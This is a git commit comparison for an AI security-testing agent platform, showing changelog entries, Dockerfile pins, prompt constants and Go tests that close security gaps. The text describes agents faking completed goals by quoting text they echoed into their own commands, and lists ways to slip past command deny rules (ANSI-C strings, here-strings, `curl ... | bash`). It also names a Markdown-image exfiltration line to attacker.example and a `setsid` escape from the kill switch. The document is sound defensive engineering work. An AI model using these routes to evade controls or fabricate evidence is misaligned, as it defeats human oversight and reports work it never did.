Compare commits

..
Author SHA1 Message Date
BaaRai 9d076ec350 Merge pull request #991 from BaaRai/fix/fact-provenance-input-echo
fix(agent): a fact quoting tool output the agent wrote itself is unverified
2026-12-04 23:01:40 +01:00
BaaRai 177bfeb7bf agent: a fact quoting tool output the agent wrote itself is unverified
record_fact tied an observed tool_output fact to a recorded tool_result
whenever one of its evidence lines occurred in that result. A worker
could write sentences into a command's input (a heredoc, echo, printf),
quote the output, and prove_goal accepted the fact, marked the goal met
and completed the task without any observation. One real output line
was also enough, so free text on the other evidence lines passed with it.

ToolResultActivityContainingEvidence now skips a result when one of the
evidence lines it contains also occurs in the input of a tool call of the
same exploration recorded before it: its own call (same tool_use_id) and
earlier calls, so a file written by one call and read by another is
caught too. Inputs are compared after JSON decoding; a SQL prefilter on
the longest run of characters JSON never escapes keeps the read bounded,
and more candidate inputs than the bound refuse the result.

The result it returns must also hold every non-blank evidence line, each
compared without surrounding whitespace; a line under 12 characters must
equal a whole output line. Evidence over 20 lines is refused. factProvenance
stores a failing fact unverified with a note saying why, and prove_goal
checks the lines again against the tied result, which also covers facts
stored before this change.

The record_fact description, its evidence field and the worker prompt now
ask for output lines only, quoted from one tool output, with the command
in detail. The v0.7.0 and v0.7.1 default texts join the known defaults and
the one-time refresh flag is renamed, so a stored copy of them is replaced
once; the worker prompt reseed flag moves to v5.
2026-12-04 22:42:40 +01:00
BaaRai b6535154c6 Merge pull request #990 from BaaRai/fix/argv-rules-fail-closed
fix(intercept): argv deny and ask rules fail closed on words they cannot read
2026-12-04 22:42:29 +01:00
BaaRai d785c7d951 intercept: argv deny and ask rules fail closed on words they cannot read
An argv deny or ask rule answered no match when the program word was an
ANSI-C string, a glob, a brace expansion or a variable, when a sh -c or
eval payload was built at run time, when a shell read its script from a
here-string, a here-document, a process substitution or a pipe, when
payloads nested more than three levels deep, and for shells and runners
missing from the tables. With no rule matched and the judge off, the call
ran.

ANSI-C strings are decoded, literal text fed to a shell on stdin is
parsed as a nested command line, and ash, mksh, rbash, posh, yash, csh, tcsh, su -c,
runuser, script -c, unshare, setpriv, nsenter, systemd-run, firejail,
catchsegv and pkexec are unwrapped. A part of the line that may run the program but
is only known at run time makes the rule a possible match: Match answers
it with an ask, and a deny rule's ask times out to deny. A later rule
that denies still decides. A program word whose last path component is
fixed text is matched by that name.

Wrapper option walks visit each position once and a rule's walk is
bounded, so unknown options on nohup no longer take exponential time.
2026-12-04 21:59:54 +01:00
BaaRai b2d9299089 Merge pull request #989 from BaaRai/fix/supply-chain-pins
fix(docker): pin the sandbox images' Debian base by digest
2026-12-04 21:59:35 +01:00
BaaRai d177511983 security(docker): pin the sandbox images' Debian base by digest
Dockerfile.runner, Dockerfile.worker and Dockerfile.egress-proxy built
their runtime stage from the bare debian:bookworm-slim tag. Pin it to the
multi-architecture index the panel Dockerfile already uses (Dependabot
bumps it), and add a sandbox test that fails when any FROM in the
repository's Dockerfiles has no sha256 digest.

The GHCR compose file pins postgres:16-alpine to the digest
docker-compose.yml already uses, and the API-recon skill's checklist and
harvest script ask for npm ci --ignore-scripts against the shipped
lockfile instead of npm install.
2026-12-04 21:34:45 +01:00
BaaRai 2eadb08779 Merge pull request #988 from BaaRai/fix/chromium-update-sandbox
fix(docker): ship Playwright builds with Chromium 159
2026-12-04 21:34:25 +01:00
BaaRai 19adbb1ec7 security(docker): ship Playwright builds with Chromium 159
playwright@1.64.1 installs Chromium 156.0.8078.4, which the shared
browser runs, and @playwright/mcp@0.0.83 and @playwright/cli@0.1.22
bundle Chromium 155.0.8059.12. Both are older than 157.0.8103.50, the
release that fixes CVE-2026-125350.

Pin playwright@1.65.1, @playwright/mcp@0.0.86 and @playwright/cli@0.1.25,
which all bundle Chromium 159.0.8154.6 (revision 1255) according to the
playwright-core browsers.json of each release. A server test refuses a
Dockerfile pin older than the first release of each package with a fixed
Chromium, and keeps the Playwright versions named in skills equal to the
Dockerfile pins. The playwright-cli skill now names @playwright/cli@0.1.25
and installs @playwright/test@1.65.1 instead of npm init playwright@latest.

The browsers still run with --no-sandbox on Linux; the README documents
the limitation next to the shared browser.
2026-12-04 21:10:23 +01:00
BaaRai fa8f7696ca Merge pull request #987 from BaaRai/fix/killswitch-task-scope
fix(server): scope the local kill switch to the paused task
2026-12-04 21:10:12 +01:00
32 changed files with 1803 additions and 206 deletions
+4
View File
@@ -6,6 +6,10 @@ All notable changes to this project are documented in this file. The format is b
### Security
- **A fact no longer proves a goal with tool output the agent wrote itself.** `record_fact` tied an observed `tool_output` fact to a recorded `tool_result` whenever one of its evidence lines occurred in that result, without asking where the text came from, so a worker could write sentences into a command's input (`cat > f <<'EOF' ... EOF; cat f`, `echo`, `printf`), quote the output, and `prove_goal` marked the goal met and completed the task with no observation behind it. A result now ties the fact only when none of the evidence lines it contains occurs in the input of a tool call of the same task recorded before it: its own call, and earlier calls, so a file written by one call and read back by another is refused too. Inputs are compared after JSON decoding. Otherwise an older result that holds the line and was not echoed is used, or the fact is stored unverified with a note and cannot prove a goal. A quoted line the agent also typed itself (a `grep` pattern quoted alone, a value it gave an earlier `record_fact`) is now refused as well; quoting the full output line still works. One real output line of 12 characters or more was also enough to tie the whole evidence, so free text on the other lines passed with it: now every non-blank evidence line must be in the one tool result recorded as the fact's provenance, compared without its surrounding whitespace, and a line under 12 characters (`ok`, `}`) must equal a whole output line. Evidence with a line that is not in that result, or with more than 20 lines, is stored unverified with a note; the command and any commentary belong in `detail`. `prove_goal` checks the lines again against the tied result, so a fact stored before this change is refused when a line of its evidence, often the command, is not in that result. Workers must therefore quote output lines only, with the command in `detail`: the `record_fact` description, its `evidence` field and the worker prompt now say so. A stored copy of the previous default texts (v0.7.0 and v0.7.1) is replaced once at startup and an operator's edited text is kept; the worker prompt gets the new default as a new version once, as earlier prompt changes did. An edited worker prompt is replaced too, and the previous text remains in the prompt history. Text the shell rewrites before printing it (escape sequences, `base64 -d`, a sentence split across words or variables) is not detected, and the input check does not run again on facts recorded before this change.
- **Argv deny and ask rules no longer pass a command they cannot read.** An argv deny or ask rule answered "no match", and the call ran without review, when the program word was an ANSI-C string, a glob, a brace expansion or a variable (`$'nmap'`, `/usr/bin/nm?p`, `n{m,}ap`, `"$T"`), when a `sh -c` or `eval` payload was built at run time, when a shell read its script from a here-string, a here-document, a process substitution or a pipe (`bash <<< 'nmap x'`, `echo 'nmap x' | sh`), when payloads nested more than three levels deep, and for shells and program runners the matcher did not know (`ash`, `mksh`, `rbash`, `posh`, `yash`, `csh`, `tcsh`, `su -c`, `runuser`, `script -c`, `unshare`, `setpriv`, `nsenter`, `systemd-run`, `firejail`, `catchsegv`, `pkexec`). ANSI-C strings are now decoded, literal text fed to a shell on stdin (here-string, here-document, `echo`, `printf` or `cat <<EOF` into a pipe or process substitution, `source <(...)`, `/dev/stdin`) is parsed as a nested command line, and the new shells and runners are unwrapped. When a part of the line that may run the program is only known when it runs (such a program word, a payload or a script produced by another command as in `curl ... | bash`, nesting past the limit, a word built at run time where the rule names an argument, a shell option the matcher does not know), the rule now counts as a possible match: an ask rule asks as configured, and a deny rule asks for an approval that times out to deny, because denying outright would also refuse every ordinary `"$TOOL" ...` call with no way to let it through. A possible match keeps its rule's place in the priority order, and a later rule that denies still decides. A program word whose last path component is fixed text (`"$HOME/bin/curl"`, `~/bin/curl`) is matched by that name. Unknown options on a known wrapper were tried both ways recursively, so `nohup` with a few dozen unknown options took seconds per rule; each position is now walked once and a rule's walk is bounded, and reaching a bound counts as a possible match. Script files (`bash script.sh`, `sh < file`) are still not read.
- **The sandbox images build from a digest-pinned Debian base.** `Dockerfile.runner`, `Dockerfile.worker` and `Dockerfile.egress-proxy` built their runtime stage from the bare `debian:bookworm-slim` tag, so a rebuild used whatever the tag pointed to that day for the runner (which holds the Docker socket), the worker and the egress proxy. They now use `debian:bookworm-slim@sha256:e67eeead...`, the multi-architecture index the panel `Dockerfile` already pins, which Dependabot keeps current, and a test fails when any `FROM` in the repository's Dockerfiles lacks a digest. The GHCR compose file pins `postgres:16-alpine` to the digest `docker-compose.yml` already uses. The API-recon skill's checklist and harvest script ask for `npm ci --ignore-scripts` against the shipped lockfile instead of `npm install`. The Debian package repositories the images install from are still live, not a frozen snapshot.
- **The image ships Playwright builds with Chromium 159.** The Dockerfile installed `playwright@1.64.1`, whose Chromium 156.0.8078.4 the shared browser runs, and `@playwright/mcp@0.0.83` and `@playwright/cli@0.1.22`, which bundle Chromium 155.0.8059.12. Both are older than 157.0.8103.50, the release that fixes CVE-2026-125350, a renderer use-after-free exploited in the wild. The pins move to `playwright@1.65.1`, `@playwright/mcp@0.0.86` and `@playwright/cli@0.1.25`, which all bundle Chromium 159.0.8154.6 (Playwright revision 1255), and a test refuses a Dockerfile pin older than the first release of each package with a fixed Chromium. The `playwright-cli` skill installs the same `@playwright/cli` version, and its test-generation guide installs `@playwright/test@1.65.1` instead of running `npm init playwright@latest`; a test keeps the Playwright versions named in skills equal to the Dockerfile pins. Known limitation, unchanged: on Linux these browsers still run with `--no-sandbox`. The image has no setuid sandbox helper and Docker's default seccomp profile gives the executor no user namespaces, so a renderer exploit is contained only by the container and the executor uid; the README now states this next to the shared browser.
- **Pausing or deleting a task in local mode stops only that task's processes.** With the sandbox off and the executor uid drop on, `Engine.Pause` and `Engine.BeginDelete` sent SIGTERM and then SIGKILL to every process running as the executor uid and never looked at the task directory. Every task runs as that uid, so pausing one task (from the UI, the API, the chat bridge or the Auto agent's `pause_task`) also killed the agents of every other running task, the shared browser, and any process of that uid on the host, even one the server never started. The kill switch now selects a process only when the server started it (escaped daemons are reparented to the server, which is a child subreaper) and its subtree belongs to the task: walking down from the server, the first process that names a task decides for everything below it, through the new `ARTEX_EXEC_TASK` variable that the planner and the worker put in the environment of their Bash, or else through a working directory under `tasks/<id>`. A process group is signalled as a whole only when every live member belongs to the task. With the privilege drop off the same scoping replaces the old rule, which killed every descendant in another process group, so it crossed tasks too. Behaviour change: a process that was reparented to the server, left the task directory and cleared `ARTEX_EXEC_TASK` (for example `cd /; env -i setsid daemon`) is no longer killed by Pause; stdio MCP servers, which start outside the task directory, are left to the end of the agent run, which closes them. Sandbox mode is unchanged.
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `![x](https://attacker.example/?d=...)` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
- **Transcripts and noa archives are owner-only, and Norma's Grep no longer installs ripgrep.** Norma writes `<data>/transcripts` and the noa compression archives under `<data>/noa` with 0755 directories and 0644 files, so any other uid on the host, the executor that runs the agent's commands included, could read every conversation (prompts, model output, tool results). At startup every directory in these two trees, the top ones included, now keeps at most its owner bits (0700) and every regular file at most owner read and write (0600); a narrower mode is never widened, and a missing top directory is created 0700. As for the key directory, nothing is changed by path: the trees are walked under an `os.Root` at the data directory, each entry is checked without following symlinks and changed through the descriptor that was checked, and a symlink (`transcripts` or `noa` themselves included), a hard-linked file or any other non-regular entry is refused and left as it is. A refusal or a failed mode change fails the start like a key directory that cannot be locked down: the error joins the isolation self-test, and only `ARTEX_ALLOW_UNISOLATED=1` (or `-dev-insecure-no-isolation`) starts anyway. Only the server reads these trees: the sandbox and Kubernetes workers mount only their task directory, the executor's shells and file tools work inside run directories, and archive export and the workspace file manager read them as the server. Files Norma writes later are still 0644 but sit under 0700 directories. Norma's Grep ran an unpinned `npm install -g @vscode/ripgrep` (install scripts enabled) when `rg` was missing; `NORMA_RIPGREP_NO_INSTALL` is now always set to `1` at startup, so no value, an empty one included, lets a Norma Grep install a package at run time (ARTEX's own Grep never starts ripgrep). Behaviour change: archiving the data directory as a non-root host user (`scripts/backup.sh --with-data`, which already asks for root) cannot read these two trees, and a data directory the server cannot change (for example an NFS export with root squashing, or a tree owned by another uid) fails the start until it is fixed or the opt-out is set.
+7 -5
View File
@@ -269,13 +269,15 @@ RUN set -eux; \
# @playwright/cli: provides playwright-cli, verified with --help right after install.
# Then install playwright (browser management) and preinstall chromium plus its system
# dependencies via --with-deps. @playwright/mcp and @playwright/cli bundle their own
# playwright-core, which expects a different Chromium build than
# playwright-core, which can expect a different Chromium build than
# playwright@PLAYWRIGHT_VERSION installs, so that build is installed as well (second
# install line); without it neither can launch a browser. All three packages are
# pinned; upgrade deliberately.
ARG PLAYWRIGHT_MCP_VERSION=0.0.83
ARG PLAYWRIGHT_CLI_VERSION=0.1.22
ARG PLAYWRIGHT_VERSION=1.64.1
# pinned; upgrade deliberately. Each pin must bundle Chromium 157.0.8103.50 or later
# (the pins below all bundle 159.0.8154.6, Playwright revision 1255), and
# server/playwright_pins_test.go refuses older ones.
ARG PLAYWRIGHT_MCP_VERSION=0.0.86
ARG PLAYWRIGHT_CLI_VERSION=0.1.25
ARG PLAYWRIGHT_VERSION=1.65.1
# playwright-core's exports map hides cli.js from require.resolve, so run the
# binary npm links for @playwright/mcp instead: it is the copy MCP actually
# loads, and it installs the Chromium revision that copy expects.
+1 -1
View File
@@ -9,7 +9,7 @@ ARG TARGETARCH
RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags="-s -w" \
-o /out/artex-egress-proxy ./cmd/artex-egress-proxy
FROM debian:bookworm-slim
FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates && rm -rf /var/lib/apt/lists/* \
&& groupadd -g 10001 exec && useradd -u 10001 -g 10001 -d /nonexistent -s /usr/sbin/nologin exec
COPY --from=build /out/artex-egress-proxy /usr/local/bin/artex-egress-proxy
+1 -1
View File
@@ -12,7 +12,7 @@ RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath \
-ldflags="-s -w -X main.version=${ARTEX_VERSION}" \
-o /out/artex-runner ./cmd/artex-runner
FROM debian:bookworm-slim
FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
COPY --from=build /out/artex-runner /usr/local/bin/artex-runner
EXPOSE 8789
+1 -1
View File
@@ -10,7 +10,7 @@ ARG TARGETOS=linux
ARG TARGETARCH
RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags="-s -w" -o /out/artex-exec-wrap ./cmd/artex-exec-wrap
FROM debian:bookworm-slim
FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
+6
View File
@@ -259,6 +259,12 @@ worker remains confined to the intent it claimed.
by same-UID agent processes while the run is active; the token is revoked immediately when the run
ends, Chromium binds no TCP port on Unix, and the server CDP proxy enforces the operator hold and
active lease on every HTTP request and WebSocket message so operator take-over cannot be bypassed.
Known limitation: on Linux the shared browser, like Playwright MCP and `playwright-cli`, runs
Chromium with `--no-sandbox`. The image has no setuid sandbox helper (setuid bits are stripped and
the panel runs with `no-new-privileges`), and Docker's default seccomp profile gives the executor no
user namespaces. A renderer exploit is therefore contained only by the container and the executor
uid, which can read every task's transcripts and workspaces: open only pages you are prepared to
expose to that, and keep the image current with Chromium security releases.
- **Verified findings**: findings carry a POE level, a verification status and a note; a finding is
`verified` only when a bound proof/response and verbatim evidence quotes support it. Gzip/deflate
bodies are decoded before the quote check. The findings table supports bulk status updates, and
+1 -1
View File
@@ -190,7 +190,7 @@ func TestProveGoalRequiresObservedFact(t *testing.T) {
}
inferred := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin is probably reachable", "confidence": "inferred", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
unlabeled := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin reachable", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "logged in as admin", "confidence": " Observed ", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "logged in as admin", "evidence": "uid=0(admin) groups=0(admin)", "confidence": " Observed ", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
bareFinding := addGuardNode(t, s, db.KindFinding, map[string]any{"summary": "user table dumped"}, "confirmed")
provenFinding := seedProvenFinding(t, d, task, "ex-guard-1", "https://guard.example.test/api/users",
[]int64{seedFindingAsset(t, d, task, "https://guard.example.test/api/users")})
+1 -1
View File
@@ -30,7 +30,7 @@ func factItemSchema() map[string]any {
"summary": str("Required: a non-empty one-sentence summary of this conclusion."),
"intent_id": idp("The intent that produced this fact. Omit it to link the fact to the intent this worker is running; a batch may name a different intent per item."),
"detail": str("Details of this fact, including all related observations."),
"evidence": str("One line of key evidence: the command and the most proving output lines. Put longer output in detail."),
"evidence": str("One line of key evidence: the most proving output lines, copied verbatim from one tool output. Put the command and longer output in detail."),
"confidence": str("observed (seen directly in output) | inferred (inferred from phenomena). Label negative conclusions honestly."),
"source": map[string]any{"type": "string", "enum": factSources, "description": "where the content came from: target_response | tool_output | third_party_intel | operator_input | inference (default when omitted)"},
"asset_ids": map[string]any{"type": "array", "items": factAssetIDSchema(), "description": "Asset IDs explicitly involved in this fact. Use asset_ids as the canonical field; tested_asset_ids is accepted as an alias. If both are provided, they must name the same set. Do not infer IDs from the intent."},
+38 -8
View File
@@ -1,9 +1,10 @@
package agent
// Texts of the earlier record_fact contract (fact fields at the top level
// beside facts[]), kept verbatim so the server's one-time refresh
// (server/fact_input_schema.go) can tell a stored default from an operator
// edit. Nothing here is published to a model.
// Texts of earlier record_fact defaults (the contract with fact fields at the
// top level beside facts[], and the facts-only texts of v0.7.0 and v0.7.1),
// kept verbatim so the server's one-time refresh (server/fact_input_schema.go)
// can tell a stored default from an operator edit. Nothing here is published
// to a model.
// recordFactLegacyDescription is the record_fact description seeded up to the
// facts-only contract.
@@ -27,12 +28,41 @@ const recordFactReleasedDescription = "Write an exploration [fact/conclusion] in
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n" +
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."
// recordFactLegacyItemDescriptions are the facts[] item descriptions of the
// earlier contract whose wording referred to the top level; the refresh
// replaces exactly these texts with the current ones.
// The facts-only contract texts below asked for the command in evidence;
// evidence now quotes output lines only, each one from the cited tool result.
// Their dashes are written as escapes; the bytes are the released ones.
// recordFactV070Description is the record_fact description seeded by v0.7.0.
const recordFactV070Description = "Write an exploration [fact/conclusion] into the exploration graph, linked to the intent that produced it (intent_id). Used to record exploration results \u2014 both [positive conclusions] like fingerprinting/enumeration, and [negative conclusions] like 'port closed'/'parameter not injectable'/'no login entry found'.\n" +
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n" +
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n" +
"⚠️Write only conclusions you [actually saw] in tool output \u2014 don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n" +
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** \u2014 details belong in detail; don't paste large output blocks here.\n" +
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n" +
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n" +
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" \u2014 state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen.\n" +
"★Call shape: exactly {\"facts\":[{...}]} with one item per distinct conclusion (usually one item). Each item carries its own summary, detail, evidence, confidence, source, asset_ids and, when it differs from the intent you are running, intent_id. Nothing else at the top level; a top-level fact field beside facts is refused and nothing is written."
// recordFactV071Description is the record_fact description seeded by v0.7.1 (also main up to the evidence-lines rule).
const recordFactV071Description = "Write an exploration [fact/conclusion] into the exploration graph, linked to the intent that produced it (intent_id). Used to record exploration results \u2014 both [positive conclusions] like fingerprinting/enumeration, and [negative conclusions] like 'port closed'/'parameter not injectable'/'no login entry found'.\n" +
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n" +
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n" +
"⚠️Write only conclusions you [actually saw] in tool output \u2014 don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n" +
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** \u2014 details belong in detail; don't paste large output blocks here.\n" +
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n" +
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n" +
" · **evidence is checked against this intent's recorded activity**: quote the output verbatim. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n" +
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" \u2014 state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen.\n" +
"★Call shape: exactly {\"facts\":[{...}]} with one item per distinct conclusion (usually one item). Each item carries its own summary, detail, evidence, confidence, source, asset_ids and, when it differs from the intent you are running, intent_id. Nothing else at the top level; a top-level fact field beside facts is refused and nothing is written."
// recordFactLegacyItemDescriptions are earlier facts[] item descriptions the
// refresh replaces exactly with the current ones: summary and intent_id of the
// earlier contract, whose wording referred to the top level, and evidence of
// v0.7.0 and v0.7.1, which asked for the command.
var recordFactLegacyItemDescriptions = map[string]string{
"summary": "Required on every fact: a non-empty one-sentence summary of this conclusion. Batch items do not inherit summary from the top level.",
"intent_id": "The intent that produced this fact; only this field inherits from the top level in a batch.",
"evidence": "One line of key evidence: the command and the most proving output lines. Put longer output in detail.",
}
// recordFactLegacyFactsDescription is the facts property description of the
@@ -48,7 +78,7 @@ const recordFactReleasedFactsDescription = "[use when there are several distinct
// contract that the refresh may replace: the tool descriptions, the facts
// property descriptions and the item descriptions.
func RecordFactLegacyDescriptions() (tool, facts []string, items map[string]string) {
return []string{recordFactLegacyDescription, recordFactReleasedDescription},
return []string{recordFactLegacyDescription, recordFactReleasedDescription, recordFactV070Description, recordFactV071Description},
[]string{recordFactLegacyFactsDescription, recordFactReleasedFactsDescription},
recordFactLegacyItemDescriptions
}
+132
View File
@@ -0,0 +1,132 @@
package agent
import (
"encoding/json"
"strconv"
"strings"
"testing"
"github.com/Autumn-27/artex/db"
)
// echoTestIntent is an intent with a goal, a ToolSet that runs it, and helpers
// to record tool calls and facts on it.
type echoTestIntent struct {
t *testing.T
s *db.ExplorationStore
tsx *ToolSet
intent int64
n int
}
func newEchoTestIntent(t *testing.T) *echoTestIntent {
s := guardTaskStore(t)
intent := addGuardNode(t, s, db.KindIntent, map[string]any{"text": "explain HTTP caching headers"}, "running")
tsx := NewToolSet(s, "worker-5")
tsx.SetOwnerNode(intent)
return &echoTestIntent{t: t, s: s, tsx: tsx, intent: intent}
}
// call records a tool_use with input and its tool_result with output, and
// returns the tool_result activity id.
func (e *echoTestIntent) call(tool string, input map[string]string, output string) int64 {
e.t.Helper()
e.n++
useID := "toolu_echo_" + strconv.Itoa(e.n)
in, _ := json.Marshal(input)
if _, err := e.s.AppendActivity(db.Activity{NodeID: &e.intent, Worker: "worker-5", Kind: "tool_use", Tool: tool, ToolUseID: useID, Summary: tool, Detail: string(in)}); err != nil {
e.t.Fatal(err)
}
id, err := e.s.AppendActivity(db.Activity{NodeID: &e.intent, Worker: "worker-5", Kind: "tool_result", Tool: tool, ToolUseID: useID, Detail: output})
if err != nil {
e.t.Fatal(err)
}
return id
}
// fact records an observed tool_output fact quoting evidence and returns its
// payload, then tries to prove a fresh goal with it.
func (e *echoTestIntent) fact(evidence string) (payload map[string]any, proved bool, refusal string) {
e.t.Helper()
in, _ := json.Marshal(map[string]string{"summary": "caching headers explained", "evidence": evidence, "confidence": "observed", "source": "tool_output"})
out := callGuardTool(e.t, e.tsx.recordFact(), string(in)).Flatten()
if !strings.HasPrefix(out, "fact recorded: ") {
e.t.Fatalf("record_fact: %q", out)
}
id, err := strconv.ParseInt(strings.TrimPrefix(out, "fact recorded: "), 10, 64)
if err != nil {
e.t.Fatal(err)
}
n, err := e.s.GetNode(id)
if err != nil || n == nil {
e.t.Fatalf("node %d: %v", id, err)
}
_ = json.Unmarshal(n.Payload, &payload)
goal := addGuardNode(e.t, e.s, db.KindGoal, map[string]any{"text": "explain caching"}, "open")
res := callGuardTool(e.t, e.tsx.proveGoal(), `{"goal_id":`+strconv.FormatInt(goal, 10)+`,"evidence_id":`+strconv.FormatInt(id, 10)+`,"reason":"x"}`)
return payload, !res.IsError && nodeState(e.t, e.s, goal) == "met", res.Flatten()
}
// A tool result that only repeats what the agent wrote into a tool's input,
// in the same call or in an earlier one, is not an observation: the fact is
// stored unverified and cannot prove a goal.
func TestFactProvenanceRefusesEchoedToolInput(t *testing.T) {
const heredoc = "Cache-Control tells clients how long they may reuse a response."
const printf = `The "Vary" header <names> the request headers a cache must match.`
const written = "ETag lets a client revalidate a cached copy cheaply."
const mixed = "Expires is the older, absolute form of a freshness lifetime."
cases := []struct {
name string
calls func(e *echoTestIntent)
evidence string
}{
{"heredoc then cat in one call", func(e *echoTestIntent) {
e.call("Bash", map[string]string{"command": "cat > notes.txt <<'EOF'\n" + heredoc + "\nEOF\ncat notes.txt"}, heredoc+"\n")
}, heredoc},
{"printf with JSON-escaped characters", func(e *echoTestIntent) {
e.call("Bash", map[string]string{"command": `printf '%s\n' '` + printf + `'`}, printf+"\n")
}, printf},
{"file written by one call and read by another", func(e *echoTestIntent) {
e.call("Write", map[string]string{"file_path": "/work/s.txt", "content": written + "\n"}, "File created successfully at: /work/s.txt")
e.call("Bash", map[string]string{"command": "ls -la /work"}, "total 4\n-rw-r--r-- 1 kali kali 52 Dec 3 12:00 s.txt")
e.call("Bash", map[string]string{"command": "cat /work/s.txt"}, written+"\n")
}, written},
{"echo next to a real output line", func(e *echoTestIntent) {
e.call("Bash", map[string]string{"command": "echo '" + mixed + "'; uname -a"}, mixed+"\nLinux kali 6.12.0-kali1-amd64 #1 SMP x86_64 GNU/Linux\n")
}, mixed + "\nLinux kali 6.12.0-kali1-amd64 #1 SMP x86_64 GNU/Linux"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
e := newEchoTestIntent(t)
tc.calls(e)
p, proved, refusal := e.fact(tc.evidence)
note, _ := p["provenance_note"].(string)
if p["provenance"] != factProvenanceUnverified || !strings.Contains(note, "input of an earlier tool call") {
t.Errorf("provenance=%v note=%q, want unverified with the input-echo note", p["provenance"], note)
}
if proved {
t.Errorf("echoed fact proved a goal: %q", refusal)
}
})
}
}
// Output the agent did not write is still an observation: a grep result whose
// quoted line is not in the command, and an older real result whose line a
// later command repeats.
func TestFactProvenanceAcceptsToolOutputNotInInput(t *testing.T) {
e := newEchoTestIntent(t)
grep := e.call("Bash", map[string]string{"command": "grep -i 'server:' /work/headers.txt"}, "Server: nginx/1.25.3 (Ubuntu)\n")
p, proved, refusal := e.fact("Server: nginx/1.25.3 (Ubuntu)")
if got, _ := p["provenance_activity_id"].(float64); p["provenance"] != factProvenanceRecorded || int64(got) != grep || !proved {
